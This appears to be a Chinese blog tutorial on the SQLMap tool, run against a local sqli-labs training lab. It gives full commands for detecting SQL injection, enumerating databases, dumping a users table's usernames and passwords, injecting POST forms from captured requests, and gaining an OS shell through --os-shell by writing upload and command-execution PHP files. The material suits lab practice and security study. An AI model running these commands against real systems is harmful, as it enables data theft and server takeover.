首页 > 数据库 >SQL注入之SQLMap

SQL注入之SQLMap

时间:2023-03-10 16:56:03浏览次数:38  
标签:SQLMap sqlmap -- 数据库 SQL id 注入

SQL注入之SQLMap

目录

一、SQLMap介绍

1、Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

2、Sqlmap支持的注入方式:

Sqlmap全面支持六种SQL注入技术:

  • 基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入:在可以使用Union的情况下的注入。
  • 堆查询注入:可以同时执行多条语句时的注入。
  • 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

二、SQLMap的使用

1.判断是否存在注入点
  • 假设目标注入点是http://localhost/sqli-labs-master/Less-2/?id=1,判断其是否存在注入点,可使用命令:
sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1

​ 当注入点后面的参数大于等于两个时,需要加双引号。

sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1&id=2"
  • 运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]  输入"Y"

​ 第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

​ 第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

GET参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]  输入"Y"

​ 第三处的意思是参数 id存在漏洞,是否要继续检测其他参数一般情况下默认回车即可

2.SQLMap的命令:
-u:用于get提交方式,后面跟上url地址
--level
--risk

--dbs:获取所有的数据库
--tables:获取所有的数据表
--columns:获取所有字段
--dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段

level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数;当>=3时检查user-agent和refereer
risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句;3会增加or语句的sql注入

指令小妙计:--后面跟一个单词,-后面跟一个字母

1.查看所有的数据库

sqlmap.py -u"localhost/sqli-labs-master/Less-1/?id=1" -dbs

2.查看数据库里面的表

sqlmap.py -u"localhost/sqli-labs-master/Less-1/?id=1" -D "security" --tables

3.查看表里面的字段

sqlmap.py -u"localhost/sqli-labs-master/Less-1/?id=1" -D "security" -T "users" --columns

sqlmap.py -u"localhost/sqli-labs-master/Less-1/?id=1" -D "security" -T "users" -C "password,username" --dump

三、SQLMap的POST型注入

1.常用命令:
-r:加载一个文件
-p:指定参数
--current -db 当前网站数据库的库名
-data  指定表单里面的某一个数据
2.注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为1.txt,然后把它放至某个目录下

2.列出数据库

sqlmap.py -rC:\Users\lenovo\Desktop\ss.txt -p id --dbs

也可以使用 * 指定需要测试的参数

3.猜解数据库表

sqlmap.py -rC:\Users\lenovo\Desktop\ss.txt -p id -D "test" --tables

4.猜解数据库列

sqlmap.py -rC:\Users\lenovo\Desktop\ss.txt -p id -D "test" -T "t1" --columns

sqlmap.py -rC:\Users\lenovo\Desktop\ss.txt -p id -D "test" -T "t1" -C "id,name" --dump
3.注入方式二:

使用自动搜索表单的方式注入

sqlmap.py -u"http://localhost/sqli-labs-master/Less-12/index.php" -forms

运行之后爆出的代码,解释一下:

do you want to test this form? [Y/n/q]

要测试此表单吗?[Y/n/q] 输入"Y"

do you want to fill blank fields with random values? [Y/n]

是否要填充带有随机值的空白字段? [Y/n] 输入"Y"

do you want to exploit this SQL injection? [Y/n]

你想利用SQL注入? 输入"Y"

四、SQLMap获取shell

1. --os-shell的执行条件

1)网站数据库必须是root权限

2)攻击者需要知道网站的绝对路径

3)GPC为off,PHP主动转义的功能关闭

4)secure_file_priv无限制

首先使用--is-dba命令查看是否为管理员,若不是,则无法使用--os-shell命令。true是管理员。false不是管理员。或者使用--users查看账号权限

sqlmap -r 1.txt --users --level=3

sqlmap.py -u"http://localhost/sqli-labs-master/Less-2/?id=1" --os-shell --level=3

使用os-shell,并设置执行等级为3

which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y

what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2

进入os-shell>之后,使用ipconfig查看ip信息,echo写入数据

2.os-shell执行原理

--os-shell的本质就是写入两个php问卷,其中tmpumiti.php可以让我们上传文件到网站路径下。sqlmap就会通过上面这个php上传一个用于命令执行的tmpubpwk.php到网站路径下让我们的命令执行,并将输出的内容返回sqlmap端。

总结:

sqlmap的--os-shell在mysql数据库中的原理,其实就是在服务器上写入两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

标签:SQLMap,sqlmap,--,数据库,SQL,id,注入
From: https://www.cnblogs.com/-andrea/p/17203962.html

相关文章

  • SQLAlchemy
    SQLAlchemy是Python著名的ORM工具包。通过ORM,开发者可以用面向对象的方式来操作数据库,不再需要编写SQL语句。本篇不解释为什么要使用ORM,主要讲解SQLAlchemy的用......
  • WEB安全基础(二)SQL注入
    information_schema即信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。SQL注入的分类1.按......
  • LVS+keepalived+nginx+redis+mysql集群负载
    背景:梳理知识体系,关于架构,有做过一个项目,是关于双机热备高可用的方案。两台机器相对独立,两套一模一样且独立运行的系统,客户要求实现高可用。经过和架构部的商讨,通过lvs+ke......
  • SQLServer2016 AlwaysOn数据库重新加入可用性组
    SQLServer2016AlwaysOn架构,主副本SQLServer服务重启  SQLServer主副本SQLServer重启服务之后,AlwaysOn......
  • SQL Server中的merge into语句
    mergeinto语句是用来合并两张表的数据的,比如我们想把一张表的数据批量更新到另外一张表,就可以用mergeinto语句。具体有哪些业务场景呢?1.数据同步2.数据转换3.基于......
  • K8s之MySQL实现数据持久化
    转载自:https://blog.51cto.com/u_14154700/2450932=============== 这个是一个只写配置及验证的博文。。。。。。博文大纲:1、搭建nfs存储2、创建PV3、创建PVC4、......
  • mysql 查看无主键的表
    --mysql查看无主键的表SELECT*FROMinformation_schema.`TABLES`tLEFTJOINinformation_schema.STATISTICSsONt.TABLE_SCHEMA=s.TABLE_SCHEMAANDt.t......
  • ubuntu下mysql8安装
    一、下载MySQLATPRepository网址:https://dev.mysql.com/downloads/repo/apt/dpkg-IXXX.deb二、更新sudoaptupdatesudoaptupgrade三、安装sudoaptinstal......
  • spring学习48-属性注入注入数组和列表的说明
    pom.xml<?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchem......
  • 6.prometheus监控mysql多实例
    一、背景介绍公司采用prometheus作为监控平台,经过资料查找,mysqld_exporter和mysql是[1:1],既每个mysql实例都需要起一个exporter进程来采集mysql监控数据,不过最近看github......